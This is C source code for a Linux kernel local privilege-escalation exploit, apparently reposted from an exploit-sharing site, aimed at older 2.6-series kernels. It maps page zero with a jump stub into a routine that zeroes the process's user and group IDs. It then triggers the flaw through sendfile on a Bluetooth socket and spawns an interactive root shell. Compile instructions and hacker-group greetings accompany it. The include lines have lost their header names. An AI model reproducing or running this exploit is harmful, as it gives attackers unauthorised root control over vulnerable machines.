Linux Kernel el5 Local root Exploit

                                                *
* Linux 2.6.18-128.el5
* Linux 2.6.9-89.EL
* Ubuntu 8.10 Linux 2.6.27
*
* For i386 & ppc compile with the command;
* gcc -w -o exploit exploit.c
*
* For x86_64 kernel and ppc64 Compile as;
* gcc -w -m64 -o exploit exploit.c
*
* Greetz: r0073r( 1337day.com ),r4dc0re,side^effects and all members of 1337day Team ) ..... & all members of r00tw0rm.com ( RW ) .. )
*
* Submit Your Exploit at [email protected] | [email protected]
*
* For Educational purpose Only))
*/

#include
#include
#include
#include
#include
#include
#include
#include

#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif

#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;

asm volatile ("movq %%rsp,%0; " : "=r" (sp));

return sp;
}

#else
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;

asm volatile ("movl %%esp,%0" : "=r" (sp));

return sp;
}

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;

asm volatile ("mr %0,%%r1; " : "=r" (sp));

return sp;
}

#endif

#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct;

asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));

return task_struct;
}

#else
#define TASK_RUNNING 0

static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;

thread_info = current_stack_pointer() & ~(4096 - 1);

if (*(unsigned long *)thread_info >= 0xc0000000) {
task_struct = *(unsigned long *)thread_info;

/*
* The TASK_RUNNING is the Only poss1ble sta7e for a proCes5 exEcut1ng
* in us3r-spaCe.
*/
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
}

/*
* Prior to the 2.6 kernel series, the task_struct was stored at the end
* of the kernel stack.
*/
task_struct = current_stack_pointer() & ~(8192 - 1);

if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;

thread_info = task_struct;

task_struct = *(unsigned long *)thread_info;

if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;

return -1;
}

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0

static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;

#if defined(__LP64__)
task_struct = current_stack_pointer() & ~(16384 - 1);

#else
task_struct = current_stack_pointer() & ~(8192 - 1);

#endif

if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;

thread_info = task_struct;

task_struct = *(unsigned long *)thread_info;

if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;

return -1;
}

#endif

#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;

static int
change_cred(void)
{
unsigned int *task_struct;

task_struct = (unsigned int *)current_task_struct();

while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}

task_struct++;
}

return -1;
}

#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
unsigned int *task_struct;

task_struct = (unsigned int *)current_task_struct();

while (task_struct) {
if (!task_struct[0]) {
task_struct++;
continue;
}

if (task_struct[0] == task_struct[1] &&
task_struct[0] == task_struct[2] &&
task_struct[0] == task_struct[3] &&
task_struct[4] == task_struct[5] &&
task_struct[4] == task_struct[6] &&
task_struct[4] == task_struct[7]) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}

task_struct++;
}

return -1;
}

#endif

#define PAGE_SIZE getpagesize()

int
main(void)
{
char *addr;
int out_fd, in_fd;
char template[] = "/tmp/tmp.XXXXXX";

#if defined(__i386__) || defined(__x86_64__)
uid = getuid(), gid = getgid();

#endif

if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}

#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
addr[0] = '\xff';
addr[1] = '\x24';
addr[2] = '\x25';
*(unsigned long *)&addr[3] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;

#else
addr[0] = '\xff';
addr[1] = '\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
/*
* The use of function descriptors by the Power 64-bit ELF ABI requires
* the use of a fake function descriptor.:P
*/
*(unsigned long *)&addr[0] = *(unsigned long *)change_cred;

#else
addr[0] = '\x3f';
addr[1] = '\xe0';
*(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
addr[4] = '\x63';
addr[5] = '\xff';
*(unsigned short *)&addr[6] = (unsigned short)change_cred;
addr[8] = '\x7f';
addr[9] = '\xe9';
addr[10] = '\x03';
addr[11] = '\xa6';
addr[12] = '\x4e';
addr[13] = '\x80';
addr[14] = '\x04';
addr[15] = '\x20';

#endif

#endif

if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}

if ((in_fd = mkstemp(template)) == -1) {
perror("mkstemp");
exit(EXIT_FAILURE);
}

if(unlink(template) == -1) {
perror("unlink");
exit(EXIT_FAILURE);
}

if (ftruncate(in_fd, PAGE_SIZE) == -1) {
perror("ftruncate");
exit(EXIT_FAILURE);
}

sendfile(out_fd, in_fd, NULL, PAGE_SIZE);

execl("/bin/sh", "sh", "-i", NULL);

exit(EXIT_SUCCESS);
}